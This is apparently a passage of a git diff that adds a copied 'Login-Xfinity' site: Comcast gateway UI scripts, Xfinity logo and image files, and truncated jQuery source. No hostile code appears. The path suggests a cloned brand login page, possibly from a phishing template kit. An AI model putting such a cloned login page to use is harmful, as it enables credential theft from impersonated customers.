this.optional(element)||/^-?(?:\d+|\d{1,3}(?:\.\d{3})+)(?:,\d+)?$/.test(value)},digits:function(value,element){return this.optional(element)||/^\d+$/.test(value)},creditcard:function(value,element){if(this.optional(element)){return"dependency-mismatch"}if(/[^0-9-]+/.test(value)){return false}var nCheck=0,nDigit=0,bEven=false;value=value.replace(/\D/g,"");for(n=value.length-1;n>=0;n--){var cDigit=value.charAt(n);var nDigit=parseInt(cDigit,10);if(bEven){if((nDigit*=2)>9){nDigit-=9}}nCheck+=nDigit;bEven=!bEven}return(nCheck%10)==0},accept:function(value,element,param){param=typeof param=="string"?param.replace(/,/g,"|"):"png|jpe?g|gif";return this.optional(element)||value.match(new RegExp(".("+param+")$","i"))},equalTo:function(value,element,param){return value==$(param).val()}}});$.format=$.validator.format})(jQuery);(function($){var ajax=$.ajax;var pendingRequests={};$.ajax=function(settings){settings=$.extend(settings,$.extend({},$.ajaxSettings,settings));var port=settings.port;if(settings.mode=="abort"){if(pendingRequests[port]){pendingRequests[port].abort()}return(pendingRequests[port]=ajax.apply(this,arguments))}return ajax.apply(this,arguments)}})(jQuery);(function($){$.each({focus:"focusin",blur:"focusout"},function(original,fix){$.event.special[fix]={setup:function(){if($.browser.msie){return false}this.addEventListener(original,$.event.special[fix].handler,true)},teardown:function(){if($.browser.msie){return false}this.removeEventListener(original,$.event.special[fix].handler,true)},handler:function(e){arguments[0]=$.event.fix(e);arguments[0].type=fix;return $.event.handle.apply(this,arguments)}}});$.extend($.fn,{delegate:function(type,delegate,handler){return this.bind(type,function(event){var target=$(event.target);if(target.is(delegate)){return handler.apply(target,arguments)}})},triggerEvent:function(type,target){return this.triggerHandler(type,[$.event.fix({type:type,target:target})])}})})(jQuery);(function($){$.alerts={verticalOffset:-75,horizontalOffset:0,repositionOnResize:true,overlayOpacity:0.5,overlayColor:"#000",draggable:true,okButton:" OK ",cancelButton:" Cancel ",dialogClass:null,alert:function(message,title,callback){if(title==null){title="Alert"}$.alerts._show(title,message,null,"alert",function(result){if(callback){callback(result)}})},confirm:function(message,title,callback){if(title==null){title="Confirm"}$.alerts._show(title,message,null,"confirm",function(result){if(callback){callback(result)}})},prompt:function(message,value,title,callback){if(title==null){title="Prompt"}$.alerts._show(title,message,value,"prompt",function(result){if(callback){callback(result)}})},_show:function(title,msg,value,type,callback){$.alerts._hide();$.alerts._overlay("show");$("BODY").append('');if($.alerts.dialogClass){$("#popup_container").addClass($.alerts.dialogClass)}var pos=($.browser.msie&&parseInt($.browser.version)<=6)?"absolute":"fixed";$("#popup_container").css({position:pos,zIndex:99999,padding:0,margin:0});$("#popup_title").text(title);$("#popup_content").addClass(type);$("#popup_message").text(msg);$("#popup_message").html($("#popup_message").text().replace(/\n/g,"
"));$("#popup_container").css({minWidth:$("#popup_container").outerWidth(),maxWidth:$("#popup_container").outerWidth()});$.alerts._reposition();$.alerts._maintainPosition(true);switch(type){case"alert":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();callback(true)});$("#popup_ok").focus().keypress(function(e){if(e.keyCode==13||e.keyCode==27){$("#popup_ok").trigger("click")}});break;case"confirm":$("#popup_message").after('');$("#popup_ok").click(function(){$.alerts._hide();if(callback){callback(true)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(false)}});$("#popup_ok").focus();$("#popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")}if(e.keyCode==27){$("#popup_cancel").trigger("click")}});break;case"prompt":$("#popup_message").append('
').after('');$("#popup_prompt").width($("#popup_message").width());$("#popup_ok").click(function(){var val=$("#popup_prompt").val();$.alerts._hide();if(callback){callback(val)}});$("#popup_cancel").click(function(){$.alerts._hide();if(callback){callback(null)}});$("#popup_prompt, #popup_ok, #popup_cancel").keypress(function(e){if(e.keyCode==13){$("#popup_ok").trigger("click")}if(e.keyCode==27){$("#popup_cancel").trigger("click")}});if(value){$("#popup_prompt").val(value)}$("#popup_prompt").focus().select();break}if($.alerts.draggable){try{$("#popup_container").draggable({handle:$("#popup_title")});$("#popup_title").css({cursor:"move"})}catch(e){}}},_hide:function(){$("#popup_container").remove();$.alerts._overlay("hide");$.alerts._maintainPosition(false)},_overlay:function(status){switch(status){case"show":$.alerts._overlay("hide");$("BODY").append('');$("#popup_overlay").css({position:"absolute",zIndex:99998,top:"0px",left:"0px",width:"100%",height:$(document).height(),background:$.alerts.overlayColor,opacity:$.alerts.overlayOpacity});break;case"hide":$("#popup_overlay").remove();break}},_reposition:function(){var top=(($(window).height()/2)-($("#popup_container").outerHeight()/2))+$.alerts.verticalOffset;var left=(($(window).width()/2)-($("#popup_container").outerWidth()/2))+$.alerts.horizontalOffset;if(top<0){top=0}if(left<0){left=0}if($.browser.msie&&parseInt($.browser.version)<=6){top=top+$(window).scrollTop()}$("#popup_container").css({top:top+"px",left:left+"px"});$("#popup_overlay").height($(document).height())},_maintainPosition:function(status){if($.alerts.repositionOnResize){switch(status){case true:$(window).bind("resize",$.alerts._reposition);break;case false:$(window).unbind("resize",$.alerts._reposition);break}}}};jAlert=function(message,title,callback){$.alerts.alert(message,title,callback)};jConfirm=function(message,title,callback){$.alerts.confirm(message,title,callback)};jPrompt=function(message,value,title,callback){$.alerts.prompt(message,value,title,callback)}})(jQuery);var comcast=window.comcast||{};comcast.page=function(){function setupLeftNavigation(selectedNavElement){if(typeof selectedNavElement=="string"){$("#nav li."+selectedNavElement+" a").addClass("selected")}$("#nav ul:has(.selected)").show();$("#nav li li:has(ul) > a").addClass("folder");$("#nav li li:has(.selected) > a").addClass("folder-open");$("#nav li:has(.selected) > a.top-level").addClass("top-level-active");$("#nav a.top-level").click(function(){var $topNav=$("#nav a.top-level-active");var $newNav=$(this);var $newNavList=$newNav.next();if(!$newNav.hasClass("top-level-active")){$("#nav a.top-level-active").removeClass("top-level-active").next();$(this).addClass("top-level-active");$topNav.next();$newNav.next()}});$("#nav a.folder").click(function(){var $link=$(this);var $list=$link.next();if($link.is(".folder-open")){$link.removeClass("folder-open");$list.slideUp()}else{$link.addClass("folder-open");$list.slideDown()}});if($.browser.mozilla){var $version=$.browser.version.split(".");if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=9){if($version[2]&&parseInt($version[2],10)<=0){if($version[3]&&parseInt($version[3],10)<=11||parseInt($version[3],10)<=14){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}}if($version[0]&&parseInt($version[0],10)<=1){if($version[1]&&parseInt($version[1],10)<=8){if($version[2]&&parseInt($version[2],10)<=1){if($version[3]&&parseInt($version[3],10)<=15){$(".block").addClass("ff2");$(".block").wrapInner($('
'))}}}}}}function setupBatteryIndicator(){var battery=$("li.battery").text().match(/\d+/);var $icon=$("li.battery span");if(battery>90){$icon.removeClass().addClass("bat-100")}else{if(battery>60){$icon.removeClass().addClass("bat-75")}else{if(battery>39){$icon.removeClass().addClass("bat-50")}else{if(battery>18){$icon.removeClass().addClass("bat-25")}else{if(battery>8){$icon.removeClass().addClass("bat-10")}else{$icon.removeClass().addClass("bat-0")}}}}}}function setupEducationalTip(){if($("#educational-tip:has(.hidden)").length>0){var closed=true;var $link=$('more').click(function(){if(closed){$("#educational-tip .hidden").fadeIn();closed=false;$(this).html("less")}else{$("#educational-tip .hidden").fadeOut();closed=true;$(this).html("more")}}).appendTo("#educational-tip")}}function setupFirewallDisplay(){var $link=$("#security-level label");var $div=$("#security-level .hide");$($div).hide();$($link).click(function(e){$(this).siblings(".hide").slideToggle()})}function setupDeleteConfirmDialogs(){$("a.confirm").click(function(e){e.preventDefault();var href=$(this).attr("href");var message=($(this).attr("title").length>0)?"Are you sure you want to "+$(this).attr("title")+"?":"Are you sure?";jConfirm(message,"Are You Sure?",function(ret){if(ret){window.location=href}})})}function setupFormValidation(){$.validator.setDefaults({errorElement:"p",errorPlacement:function(error,element){error.appendTo(element.closest(".form-row"))}});jQuery.extend(jQuery.validator.messages,{required:"This is a required field.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}."),ipv4:"Please enter an IPv4 address in the format #.#.#.#"});$.validator.addMethod("alphanumeric",function(value,element){return this.optional(element)||/^[a-zA-Z0-9]+$/i.test(value)},"Only letters and numbers are valid. No spaces or special characters.");$.validator.addMethod("exactlengths",function(value,element,param){return this.optional(element)||!jQuery.inArray(value.length,param)},"Please enter exactly {0} characters.");$.validator.addMethod("hexadecimal",function(value,element){return this.optional(element)||/^[a-fA-F0-9]+$/i.test(value)},"Only hexadecimal characters are valid. Acceptable characters are ABCDEF0123456789.");$.validator.addMethod("exactlength",function(value,element,param){return this.optional(element)||value.length==param},jQuery.format("Please enter exactly {0} characters."));$.validator.addMethod("ipv4",function(value,element){return this.optional(element)||/^0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])$/i.test(value)},"Please enter an IPv4 address in the format #.#.#.#");jQuery.validator.addMethod("ip",function(val,el){function ip_valid(value){return(value.match(/^\d+$/g)&&value>=0&&value<=255)}var inputs=$(el).closest(".form-row").find("input");var isValid=true;inputs.each(function(index,element){isValid&=ip_valid($(element).val())});return isValid},"Please enter a valid IP address.");$.validator.addMethod("ipv6",function(value,element){return this.optional(element)||/^\s*((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?\s*$/i.test(value)},"Please enter an IPv6 address in the format");$.validator.addMethod("mac",function(value,element){return this.optional(element)||/^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/i.test(value)},"Please enter an MAC address in the format xx:xx:xx:xx:xx:xx");$.validator.addClassRules({octet:{range:[0,255]},ipv4:{ipv4:true},ipv6:{ipv6:true},hexadecimal:{hexadecimal:true},exactlength:{exactlength:true}})}function setupTooltipInHeader(){$("#status li").mouseenter(function(){$(".tooltip",this).fadeIn()}).mouseleave(function(){$(".tooltip",this).fadeOut()})}return{init:function(title,navElementId){document.title=title+" - "+document.title;Uh_Page_Init();setupLeftNavigation(navElementId);setupDeleteConfirmDialogs();setupBatteryIndicator();setupEducationalTip();setupFormValidation();setupFirewallDisplay();setupTooltipInHeader();try{document.execCommand("BackgroundImageCache",false,true)}catch(e){}if($.browser.msie){$("input:radio, input:checkbox").click(function(){this.blur();this.focus()})}}}}();comcast.breakWord=function(originalString,characterLimit){var originalString=""+originalString;var characterLimit=parseInt(characterLimit);if(originalString.length<=0||characterLimit<=0){return}var re=new RegExp("(\\w{"+characterLimit+"})","g");return originalString.replace(re,"$1 ")};$.fn.radioToButton=function(settings){var config={autoSubmitForm:false};if(settings){$.extend(config,settings)}this.each(function(){var $c=$container=$(this);var $boxes=$c.find("li");$c.addClass("radiolist");$("li",$c).removeClass("selected");$("input:radio:checked",$c).parent().addClass("selected");$("label",$c).click(function(e){e.preventDefault();var $parent;var $radio;$boxes.removeClass("selected");$parent=$(this).parent().addClass("selected");$("input:radio",$c).attr("checked",false);$radio=$parent.find("input:radio").attr("checked",true);$c.trigger("change",[$radio.val()]);if(config.autoSubmitForm){$c.closest("form").submit()}})});return this}; \ No newline at end of file diff --git a/sites/Login-Xfinity/Xfinity_files/img/.DS_Store b/sites/Login-Xfinity/Xfinity_files/img/.DS_Store new file mode 100644 index 0000000..78ca5e6 Binary files /dev/null and b/sites/Login-Xfinity/Xfinity_files/img/.DS_Store differ diff --git a/sites/Login-Xfinity/Xfinity_files/img/distractor.gif b/sites/Login-Xfinity/Xfinity_files/img/distractor.gif new file mode 100644 index 0000000..da4137d Binary files /dev/null and b/sites/Login-Xfinity/Xfinity_files/img/distractor.gif differ diff --git a/sites/Login-Xfinity/Xfinity_files/img/label.jpg b/sites/Login-Xfinity/Xfinity_files/img/label.jpg new file mode 100644 index 0000000..1e015e0 Binary files /dev/null and b/sites/Login-Xfinity/Xfinity_files/img/label.jpg differ diff --git a/sites/Login-Xfinity/Xfinity_files/img/logo_xfinity.png b/sites/Login-Xfinity/Xfinity_files/img/logo_xfinity.png new file mode 100644 index 0000000..f223410 Binary files /dev/null and b/sites/Login-Xfinity/Xfinity_files/img/logo_xfinity.png differ diff --git a/sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js b/sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js new file mode 100755 index 0000000..c5885e8 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/jquery-1.4.2.min.js @@ -0,0 +1,246 @@ +/*! + * jQuery JavaScript Library v1.4.2 + * http://jquery.com/ + * + * Copyright 2010, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2010, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Sat Feb 13 22:33:48 2010 -0500 + */ +(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll("left")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b==="object"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o)[^>]*$|^#([\w-]+)$/,Ua=/^.[^:#\[\.,]*$/,Va=/\S/, +Wa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Xa=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a==="body"&&!b){this.context=s;this[0]=s.body;this.selector="body";this.length=1;return this}if(typeof a==="string")if((d=Ta.exec(a))&& +(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this, +a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:"",jquery:"1.4.2",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b=== +"find")f.selector=this.selector+(this.selector?" ":"")+d;else if(b)f.selector=this.selector+"."+b+"("+d+")";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),"slice",R.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this, +function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b
a"; +var e=d.getElementsByTagName("*"),j=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!j)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(j.getAttribute("style")),hrefNormalized:j.getAttribute("href")==="/a",opacity:/^0.55$/.test(j.style.opacity),cssFloat:!!j.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:s.createElement("select").appendChild(s.createElement("option")).selected, +parentNode:d.removeChild(d.appendChild(s.createElement("div"))).parentNode===null,deleteExpando:true,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};b.type="text/javascript";try{b.appendChild(s.createTextNode("window."+f+"=1;"))}catch(i){}a.insertBefore(b,a.firstChild);if(A[f]){c.support.scriptEval=true;delete A[f]}try{delete b.test}catch(o){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function k(){c.support.noCloneEvent= +false;d.detachEvent("onclick",k)});d.cloneNode(true).fireEvent("onclick")}d=s.createElement("div");d.innerHTML="";a=s.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var k=s.createElement("div");k.style.width=k.style.paddingLeft="1px";s.body.appendChild(k);c.boxModel=c.support.boxModel=k.offsetWidth===2;s.body.removeChild(k).style.display="none"});a=function(k){var n= +s.createElement("div");k="on"+k;var r=k in n;if(!r){n.setAttribute(k,"return;");r=typeof n[k]==="function"}return r};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=j=null}})();c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ya=0,za={};c.extend({cache:{},expando:G,noData:{embed:true,object:true, +applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var f=a[G],e=c.cache;if(!f&&typeof b==="string"&&d===w)return null;f||(f=++Ya);if(typeof b==="object"){a[G]=f;e[f]=c.extend(true,{},b)}else if(!e[f]){a[G]=f;e[f]={}}a=e[f];if(d!==w)a[b]=d;return typeof b==="string"?a[b]:a}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==A?za:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{if(c.support.deleteExpando)delete a[c.expando]; +else a.removeAttribute&&a.removeAttribute(c.expando);delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===w){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===w&&this.length)f=c.data(this[0],a);return f===w&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this, +a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b=== +w)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var Aa=/[\n\t]/g,ca=/\s+/,Za=/\r/g,$a=/href|src|style/,ab=/(button|input)/i,bb=/(button|input|object|select|textarea)/i, +cb=/^(a|area)$/i,Ba=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(n){var r=c(this);r.addClass(a.call(this,n,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d-1)return true;return false},val:function(a){if(a===w){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var j=b?d:0;for(d=b?d+1:e.length;j=0;else if(c.nodeName(this,"select")){var u=c.makeArray(r);c("option",this).each(function(){this.selected= +c.inArray(c(this).val(),u)>=0});if(!u.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return w;if(f&&b in c.attrFn)return c(a)[b](d);f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==w;b=f&&c.props[b]||b;if(a.nodeType===1){var j=$a.test(b);if(b in a&&f&&!j){if(e){b==="type"&&ab.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed"); +a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:w;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&j?a.getAttribute(b,2):a.getAttribute(b);return a===null?w:a}return c.style(a,b,d)}});var O=/\.(.*)$/,db=function(a){return a.replace(/[^\w\s\.\|`]/g, +function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==A&&!a.frameElement)a=A;var e,j;if(d.handler){e=d;d=e.handler}if(!d.guid)d.guid=c.guid++;if(j=c.data(a)){var i=j.events=j.events||{},o=j.handle;if(!o)j.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,arguments):w};o.elem=a;b=b.split(" ");for(var k,n=0,r;k=b[n++];){j=e?c.extend({},e):{handler:d,data:f};if(k.indexOf(".")>-1){r=k.split("."); +k=r.shift();j.namespace=r.slice(0).sort().join(".")}else{r=[];j.namespace=""}j.type=k;j.guid=d.guid;var u=i[k],z=c.event.special[k]||{};if(!u){u=i[k]=[];if(!z.setup||z.setup.call(a,f,r,o)===false)if(a.addEventListener)a.addEventListener(k,o,false);else a.attachEvent&&a.attachEvent("on"+k,o)}if(z.add){z.add.call(a,j);if(!j.handler.guid)j.handler.guid=d.guid}u.push(j);c.event.global[k]=true}a=null}}},global:{},remove:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){var e,j=0,i,o,k,n,r,u,z=c.data(a), +C=z&&z.events;if(z&&C){if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in C)c.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[j++];){n=e;i=e.indexOf(".")<0;o=[];if(!i){o=e.split(".");e=o.shift();k=new RegExp("(^|\\.)"+c.map(o.slice(0).sort(),db).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(r=C[e])if(d){n=c.event.special[e]||{};for(B=f||0;B=0){a.type= +e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return w;a.result=w;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(j){}if(!a.isPropagationStopped()&& +f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){f=a.target;var i,o=c.nodeName(f,"a")&&e==="click",k=c.event.special[e]||{};if((!k._default||k._default.call(d,a)===false)&&!o&&!(f&&f.nodeName&&c.noData[f.nodeName.toLowerCase()])){try{if(f[e]){if(i=f["on"+e])f["on"+e]=null;c.event.triggered=true;f[e]()}}catch(n){}if(i)f["on"+e]=i;c.event.triggered=false}}},handle:function(a){var b,d,f,e;a=arguments[0]=c.event.fix(a||A.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive; +if(!b){d=a.type.split(".");a.type=d.shift();f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)")}e=c.data(this,"events");d=e[a.type];if(e&&d){d=d.slice(0);e=0;for(var j=d.length;e-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d},fa=function(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Fa(d);if(a.type!=="focusout"||d.type!=="radio")c.data(d,"_change_data", +e);if(!(f===w||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}};c.event.special.change={filters:{focusout:fa,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return fa.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return fa.call(this,a)},beforeactivate:function(a){a=a.target;c.data(a, +"_change_data",Fa(a))}},setup:function(){if(this.type==="file")return false;for(var a in ea)c.event.add(this,a+".specialChange",ea[a]);return da.test(this.nodeName)},teardown:function(){c.event.remove(this,".specialChange");return da.test(this.nodeName)}};ea=c.event.special.change.filters}s.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,f)}c.event.special[b]={setup:function(){this.addEventListener(a, +d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var j in d)this[b](j,f,d[j],e);return this}if(c.isFunction(f)){e=f;f=w}var i=b==="one"?c.proxy(e,function(k){c(this).unbind(k,i);return 